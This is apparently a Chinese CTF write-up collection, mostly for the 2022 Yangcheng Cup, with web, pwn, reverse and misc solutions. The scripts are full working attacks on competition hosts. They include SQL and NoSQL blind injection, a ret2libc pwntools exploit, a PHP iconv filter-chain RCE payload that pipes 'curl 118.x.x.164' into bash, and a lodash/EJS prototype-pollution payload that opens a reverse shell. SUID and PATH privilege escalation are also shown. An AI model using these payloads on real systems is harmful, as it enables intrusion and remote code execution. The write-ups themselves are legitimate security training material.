  res = requests.post(url=url,data=data,allow_redirects=False)

  if 'success' not in res.text:
   flag+=chr(i-1)
   char+=hex(i-1)[2:]
   print(flag)
   break

这样获取到的 ADMIM@666 和 AAAA@XXXXZZZ 的那个用户名和密码并登录不上去。

这里尝试了一下 hex,因为之前做过类似的, hex 会从后向前进行读取,应该算是个非预期了233

import requests

url = "http://39.106.143.69:22993/api/api.php?command=login "

flag = ""
char = ""
for _ in range(100):
 for i in range(30,127):

  data = {
  "username":"1\\",
#  "password":"or(case when hex(username)>{} then 1 else pow(~0,17) end)#".format("0x"+char+hex(i)[2:])
  "password":"or(case when hex(password)>{} then 1 else pow(~0,17) end)#".format("0x"+char+hex(i)[2:])
  }
  #绕过空格
  data['password'] = data['password'].replace(" ","#\n")

  res = requests.post(url=url,data=data,allow_redirects=False)

  if 'success' not in res.text:
   flag+=chr(i-1)
   char+=hex(i-1)[2:]
   print(flag)
   break

注出来之后解码,登录即可

image

username=Flag_Account&password=G1ve_Y0u_@_K3y_70_937_f14g!!!

登陆后访问 /api/flag.php,一个简单的文件包含 /proc/self/root 即可绕过

5_web_letmeguess_1

弱密码 admin amdin123 登录

发现 ; 被过滤,%0a ,空格被过 ${IFS},文件名被过,通配符

image

简单绕一绕就好了

image

PWN

5_1H3ll0Rop

#encoding = utf-8
import os
import sys
import time
from pwn import *
from ctypes import *
from LibcSearcher import * 
context.os = 'linux'
context.log_level = "debug"
s       = lambda data               :p.send(str(data))
sa      = lambda delim,data         :p.sendafter(str(delim), str(data))
sl      = lambda data               :p.sendline(str(data))
sla     = lambda delim,data         :p.sendlineafter(str(delim), str(data))
r       = lambda num                :p.recv(num)
ru      = lambda delims, drop=True  :p.recvuntil(delims, drop)
itr     = lambda                    :p.interactive()
uu32    = lambda data               :u32(data.ljust(4,b'\x00'))
uu64    = lambda data               :u64(data.ljust(8,b'\x00'))
leak    = lambda name,addr          :log.success('{} = {:#x}'.format(name, addr))

context.arch = 'amd64'
p = remote('39.106.138.251',37817)
#p = process('./H3ll0Rop')
libc = ELF('./libc-2.23.so')
elf = ELF('./H3ll0Rop')
rdi = 0x0000000000400753
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
main = elf.sym['main']
pl = b'a'*0x68 + p64(rdi) + p64(puts_got) + p64(puts_plt) + p64(main)
#gdb.attach(p)
p.sendlineafter('\n\n',pl)
ru('\n\n')
libcbase = uu64(r(6))-libc.sym['puts']
leak('libcbase',libcbase)
system = libcbase + libc.sym['system']
binsh = libcbase +0x000000000018ce57
pl = b'a'*0x68 + p64(rdi) + p64(binsh) + p64(system)
p.sendlineafter('\n\n',pl)
itr()

ret2libc

RE

5_re2

ghidra打开,是一道迷宫题,迷宫为三个15*15的正方形,将三个迷宫路径连接得到flag 。在ida里导出地图数据

写脚本把map还原出来

#include <bits/stdc++.h>
int a1[15][15] ;
int a2[15][15] ;
int a3[15][15] ;
int a[700] = {
        1, 1, 0, 0, 0, 0, 0, 0, 
    0, 0, 0, 0, 0, 0, 0, 1, 
    1, 0, 3, 1, 1, 1, 1, 1, 
    0, 0, 0, 0, 0, 0, 1, 1, 
    0, 1, 1, 0, 0, 0, 1, 0, 
    0, 0, 0, 0, 0, 1, 1, 0, 
    0, 0, 0, 0, 0, 1, 1, 0, 
    0, 0, 0, 0, 1, 1, 0, 1, 
    1, 0, 0, 0, 0, 1, 1, 1, 
    1, 0, 0, 1, 1, 0, 1, 1, 
    0, 0, 0, 0, 0, 0, 0, 1, 
    0, 0, 1, 1, 0, 1, 1, 0, 
    0, 0, 0, 0, 0, 0, 1, 0, 
    0, 1, 1, 0, 1, 1, 0, 0, 
    0, 0, 0, 1, 1, 1, 1, 0, 
    1, 1, 0, 1, 1, 0, 0, 0, 
    0, 0, 1, 0, 0, 1, 0, 1, 
    1, 0, 1, 1, 0, 0, 0, 0, 
    0, 1, 0, 0, 0, 0, 1, 1, 
    0, 1, 1, 1, 1, 1, 1, 0, 
    1, 0, 1, 1, 0, 1, 1, 0, 
    1, 1, 1, 1, 1, 1, 1, 1, 
    1, 1, 1, 0, 1, 1, 0, 0, 
    0, 0, 0, 0, 0, 0, 0, 0, 
    0, 4, 0, 1, 1, 1, 1, 1, 
    1, 1, 1, 1, 1, 1, 1, 1, 
    1, 1, 1, 1, 1, 1, 1, 1, 
    1, 1, 1, 1, 1, 1, 1, 1, 
    1, 1, 1, 1, 1, 1, 0, 0, 
    0, 0, 0, 0, 0, 0, 0, 0, 
    1, 1, 1, 1, 1, 0, 3, 1, 
    1, 1, 0, 0, 0, 0, 0, 1, 
    1, 1, 1, 1, 0, 0, 0, 0, 
    1, 0, 0, 0, 0, 0, 1, 1, 
    1, 1, 1, 0, 0, 0, 0, 1, 
    0, 0, 0, 0, 0, 1, 1, 1, 
    1, 1, 0, 0, 0, 0, 1, 1, 
    1, 1, 0, 0, 1, 1, 1, 1, 
    1, 0, 0, 0, 0, 0, 0, 0, 
    1, 0, 0, 1, 1, 1, 1, 1, 
    0, 0, 0, 0, 0, 0, 0, 1, 
    0, 0, 1, 1, 1, 1, 1, 0, 
    0, 0, 0, 0, 0, 0, 1, 1, 
    0, 1, 1, 1, 1, 1, 0, 0, 
    0, 0, 0, 0, 0, 0, 1, 0, 
    1, 1, 1, 1, 1, 0, 0, 0, 
    0, 0, 0, 0, 0, 4, 0, 1, 
    1, 1, 1, 1, 1, 1, 1, 1, 
    1, 1, 1, 1, 1, 1, 1, 1, 
    1, 1, 1, 1, 1, 1, 1, 1, 
    1, 1, 1, 1, 1, 1, 1, 1, 
    1, 1, 1, 1, 1, 1, 1, 1, 
    1, 1, 1, 1, 1, 1, 1, 1, 
    1, 1, 1, 1, 1, 1, 1, 1, 
    1, 1, 1, 1, 1, 1, 1, 1, 
    1, 1, 1, 1, 1, 1, 1, 1, 
    1, 1, 0, 0, 0, 0, 0, 0, 
    0, 0, 0, 0, 0, 0, 0, 0, 
    0, 0, 3, 1, 1, 0, 0, 0, 
    0, 0, 0, 0, 0, 0, 0, 0, 
    0, 0, 0, 1, 0, 1, 1, 1, 
    0, 0, 0, 0, 0, 0, 0, 0, 
    0, 0, 1, 1, 1, 0, 1, 0, 
    0, 0, 0, 0, 0, 0, 0, 0, 
    0, 0, 1, 0, 0, 1, 0, 0, 
    0, 0, 0, 0, 0, 0, 1, 1, 
    0, 1, 0, 0, 1, 0, 0, 0, 
    0, 0, 0, 0, 0, 0, 1, 1, 
    1, 0, 0, 1, 0, 0, 0, 0, 
    0, 0, 0, 0, 0, 0, 0, 0, 
    0, 0, 1, 0, 0, 0, 0, 0, 
    0, 0, 0, 0, 0, 0, 0, 0, 
    0, 1, 1, 1, 1, 0, 0, 0, 
    0, 0, 0, 0, 0, 0, 0, 0, 
    0, 0, 0, 1, 0, 0, 0, 0, 
    0, 0, 0, 0, 0, 0, 0, 0, 
    0, 0, 1, 0, 0, 0, 0, 0, 
    0, 0, 0, 0, 0, 0, 0, 0, 
    0, 1, 0, 0, 0, 0, 0, 0, 
    0, 0, 0, 0, 0, 0, 0, 0, 
    1, 1, 1, 1, 0, 0, 0, 0, 
    0, 0, 0, 0, 0, 0, 0, 0, 
    0, 0, 1, 0, 0, 0, 0, 0, 
    0, 0, 0, 0, 0, 0, 0, 0, 
    0, 4, 0, 0
};
void makee1(){
    for(int i = 0;i<=14;i++){
        for(int j = 0;j<=14;j++){
            printf("%d ",a1[i][j]);
        }
        printf("\n");
    }
}
void makee2(){
    for(int i = 0;i<=14;i++){
        for(int j = 0;j<=14;j++){
            printf("%d ",a2[i][j]);
        }
        printf("\n");
    }
}
void makee3(){
    for(int i = 0;i<=14;i++){
        for(int j = 0;j<=14;j++){
            printf("%d ",a3[i][j]);
        }
        printf("\n");
    }
}
int main(){
​
    for(int i = 0;i<=14;i++){
        for(int j = 0;j<=14;j++){
            a1[i][j] = a[i * 15 + j];
        }
    }
    for(int i = 0;i<=14;i++){
        for(int j = 0;j<=14;j++){
            a2[i][j] = a[0xe1 + i * 15 + j];
        }
    }
    for(int i = 0;i<=14;i++){
        for(int j = 0;j<=14;j++){
            a3[i][j] = a[0xe1 + 0xe1 + i * 15 + j];
        }
    }
    makee1();
    printf("\n\n");
    makee2();
    printf("\n\n"); 
    makee3();
    return 0;
}

走迷宫得到路径:

image

dddddssdsdddsssaassssdddsdddsssdddsssdssddssddwddssssssdddssssdddss,md5 加密包裹得到flag

2022 YangchengCup | Partly Writeup

WEB

Web1:rce_me

(231条消息) [PHP]无需可控文件的LFI-RCE学习_bfengj的博客-CSDN博客

https://tttang.com/archive/1395/

之前在SESSION文件包含的时候就遇到过往SESSION里面写base64,前面凑齐4的整数倍的字符,然后接下来就是一句话的base64编码,再利用php://filter/convert.base64-decode/resource=/tmp/sess_xxx就可以直接rce,因为里面的base64解码后就可以得到完整的一句话。

再联想到,base64解码的时候会忽略除了base64中那64个字符的其他字符,只处理那64个字符,于是国外的那个师傅就开始尝试能不能通过iconv中不同字符集的转换来成功的得到base64中的字符,最后再来一层base64-decode即可rce。

比如convert.iconv.UTF8.CSISO2022KR,每次这样都会在字符串的首部产生\x1b$)C,可以发现这4个字符中只有字符C属于Base64中,再进行一次base64-decode再base64-encode之后,就只剩下字符C了:

include "php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-decode|convert.base64-encode/resource=data://,aaaaa"

同理,也可以得到更多的字符:

<?=`$_GET[0]`;;?>
PD89YCRfR0VUWzBdYDs7Pz4=
<?php
$base64_payload = "PD89YCRfR0VUWzBdYDs7Pz4";
$conversions = array(
    'R' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.MAC.UCS2',
    'B' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.CP1256.UCS2',
    'C' => 'convert.iconv.UTF8.CSISO2022KR',
    '8' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2',
    '9' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.ISO6937.JOHAB',
    'f' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.SHIFTJISX0213',
    's' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L3.T.61',
    'z' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.NAPLPS',
    'U' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.CP1133.IBM932',
    'P' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.857.SHIFTJISX0213',
    'V' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.851.BIG5',
    '0' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.1046.UCS2',
    'Y' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UCS2',
    'W' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.851.UTF8|convert.iconv.L7.UCS2',
    'd' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UJIS|convert.iconv.852.UCS2',
    'D' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.SJIS.GBK|convert.iconv.L10.UCS2',
    '7' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.866.UCS2',
    '4' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.IEC_P271.UCS2'
);

$filters = "convert.base64-encode|";
$filters .= "convert.iconv.UTF8.UTF7|";

foreach (str_split(strrev($base64_payload)) as $c) {
    $filters .= $conversions[$c] . "|";
    $filters .= "convert.base64-decode|";
    $filters .= "convert.base64-encode|";
    $filters .= "convert.iconv.UTF8.UTF7|";
}
$filters .= "convert.base64-decode";

$final_payload = "php://filter/{$filters}/resource=data://,aaaaaaaaaaaaaaaaaaaa";
var_dump($final_payload);

$base64_payload反转则是因为是从右边开始产生字符,然后在最左边通过convert.iconv.UTF8.CSISO2022KR来生成\x1b$)C然后进行利用,还不能影响后面已经产生的字符。

至于convert.iconv.UTF8.UTF7单纯的防止=的干扰。

源码:

<?php
(empty($_GET["file"])) ? highlight_file(__FILE__) : $file=$_GET["file"];
function fliter($var): bool{
     $blacklist = ["<","?","$","[","]",";","eval",">","@","_","create","install","pear"];
         foreach($blacklist as $blackword){
           if(stristr($var, $blackword)) return False;
    }
    return True;
}  
if(fliter($_SERVER["QUERY_STRING"]))
{
include $file;
}
else
{
die("Noooo0");
}

有黑名单过滤,urlencode一下即可绕过

php://filter/convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.IEC%5fP271.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.NAPLPS|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.857.SHIFTJISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.866.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L3.T.61|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.SJIS.GBK|convert.iconv.L10.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UJIS|convert.iconv.852.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.CP1256.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.NAPLPS|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.851.UTF8|convert.iconv.L7.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.CP1133.IBM932|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.851.BIG5|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.1046.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.MAC.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.SHIFTJISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.MAC.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.ISO6937.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.SJIS.GBK|convert.iconv.L10.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.857.SHIFTJISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64-decode/resource=/etc/passwd&0=curl 118.x.x.164|bash

弹个shell,发现flag在根目录,无权限,发现date命令可以suid提权

image

/bin/date -f /flag

image

Web2:step_by_step-v3

<?php
class yang
{
    public $y1;

    /*public function __construct()
    {
        $this->y1->magic();
    }*/

    public function __tostring()
    {
        ($this->y1)();
    }

    public function hint()
    {
        include_once('hint.php');
        if(isset($_GET['file']))
        {
            $file = $_GET['file'];
            if(preg_match("/$hey_mean_then/is", $file))
            {
                die("nonono");
            }
            include_once($file);
        }
    }
}

class cheng
{
    public $c1;

    public function __wakeup()
    {
        $this->c1->flag = 'flag';
    }

    public function __invoke()
    {
        $this->c1->hint();
    }
}

class bei
{
    public $b1;
    public $b2;

    public function __set($k1,$k2)
    {
        print $this->b1;
    }

    public function __call($n1,$n2)
    {
        echo $this->b1;
    }
}

$yang = new yang();
$cheng = new cheng();
$bei = new bei();

$yang->y1 = $bei;
$yang->y1->b1 = new yang();
$yang->y1->b1->y1 = 'phpinfo';

$cheng->c1 = $bei;

print_r(serialize([$yang,$cheng]));

?>

image

Web3:EzNode1

写个脚本盲注:

import requests
import string

url = 'url'
passwd=''

for i in string.printable:
    payload = """{"username":'administrator',"password":{"$regex":'^%s"}}""" % (passwd + i)
    headers = {'Content-Type':'application/json'}

r = requests.post(url=url,headers=headers,data=payload)

if 'Are' in r.text:
    password += i
    print("%s" % (passwd))

username:administrator
password:tHe_pAsSw0rd_thAt_y0u_NeVer_Kn0w

image

/source目录下有源码,审计一下:

var express = require('express');
var mongoose = require('mongoose');
var bodyParser = require('body-parser');
var fs = require('fs');
var lodash = require('lodash');
var session = require('express-session');
var randomize = require('randomatic');

mongoose.connect('mongodb://localhost/ctf', { useNewUrlParser: true });

......

app.set('views', './views');
app.set('view engine', 'ejs');
app.use('/static', express.static('static'));

......

app.get('/', (req, res, next) => {

    if(req.session.admin === undefined || req.session.admin === null) {
        res.redirect('/login');
    } else {
        res.redirect('/home');
    }
})

// login
app.all('/login', function(req, res) {

    ......

});

app.all('/home', function(req, res) {

    if(!req.session.admin) {
        return res.redirect('/');
    }

    if(req.session.data !== undefined && req.session.data !== null) {
        res.render('home.ejs', {
            real_name: req.session.data.realname,
            age: req.session.data.age
        });
    }
 else {
        res.render('home.ejs', {
            real_name: 'Undefined',
            age: 'Undefined'
        });
    }

});

// update your info
app.all('/update', (req, res) => {

    if(!req.session.admin) {
        return res.redirect('/');
    }

    if (req.method == 'GET') {
        res.render('update.ejs');
    }

    let data = req.session.data || {realname: '', age: ''}
    if (req.method == 'POST') {
        data = lodash.merge(data, req.body);
        req.session.data = data;
        if(req.session.data.realname) {
              res.redirect('/home');
        }
    }
})

var server = app.listen(3000, '0.0.0.0', function () {

    var host = server.address().address;
    var port = server.address().port;

    console.log("listening on http://%s:%s", host, port);
});

发现是lodash.merge 以及使用了 ejs 模板,在/update 可以实现RCE

json格式传递

{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/118.x.x.164/3333 0>&1\"');var __tmp2"}}

image

也是有一层提权,可以利用引入新的环境变量来提权

image

/home/bunny命令有root权限,执行一下发现是id

image

引入新的环境变量,执行命令

image

Web6:Safepop

浙江省赛原题,php的垃圾回收机制

<?php
error_reporting(E_ALL);
ini_set('display_errors', true);
highlight_file(__FILE__);
class Fun{
    private $func = 'call_user_func_array';
    public function __call($f,$p){
        call_user_func($this->func,$f,$p);
    }
    public function __wakeup(){
        $this->func = '';
        die("Don't serialize me");
    }
}

class Test{
    public function getFlag(){
        system("cat /flag?");
    }
    public function __call($f,$p){
        phpinfo();
    }
    public function __wakeup(){
        echo "serialize me?";
    }
}

class A{
    public $a;
    public function __get($p){
        if(preg_match("/Test/",get_class($this->a))){
            return "No test in Prod\n";
        }
        return $this->a->$p();
    }
}

class B{
    public $p;
    public function __destruct(){
        $p = $this->p;
        echo $this->a->$p;
    }
}
if(isset($_GET['pop'])){
    $pop = $_GET['pop'];
    $o = unserialize($pop);
    throw new Exception("no pop");
}

得到paylaod之后删除一个}或者改个数字,触发垃圾回收机制 fastdestruct 就ok

MISC

迷失幻境

取证大师打开,分析图片

image

这些图片md5相同,45不同,没有文件类型,导出,缺失文件头,进行修复

image​​

与其他任一图片进行对比

image

查看回收站,发现可莉的图片

image

导出,outguess解密

image

寻宝-fix

c3dd0c35afbc6d34298f52d7800d5ae

504B0304的倒序,编写脚本进行处理,

# -*- coding:utf-8 -*-
import binascii
a=bytes
with open("./liyou.zip","rb") as e:
    a=e.read()
# print(a)

b = binascii.hexlify(a)
hex_str = b.decode("ascii")
# print(hex_str)
# hex_str="504b01020304"
c=str()
for i in range(0,len(hex_str),2):
    c+=(hex_str[i:i+2])[::-1]
# print(c)
# y=binascii.unhexlify(c)
# print(y)

with open("llll.txt","w") as e:
    e.write(c)
import os
os.system("xxd -r -p llll.txt >kkk.zip")

解压得到游戏和压缩包

看hint,总结一下:

  1. 注意音频的钢琴
  2. 注意两种地形

在玩游戏的时候,用CE固定一下血量,防止游戏退出

DC3H8F38TZIFH9EQ37

前四关地图是变种猪圈密码,

image

OWOH

用GameMaker提取游戏资源文件,其中有mp3,听声音第四秒到第十秒,结合hint,第二段是114514

image

第三段地图是曼彻斯特编码,把每个地图联合起来

IMG_1269

01011111011000010011000101011111

image

拼接尝试一下,发现压缩包密码OWOH_a1_114514

vim打开文档,零宽隐写:

image

image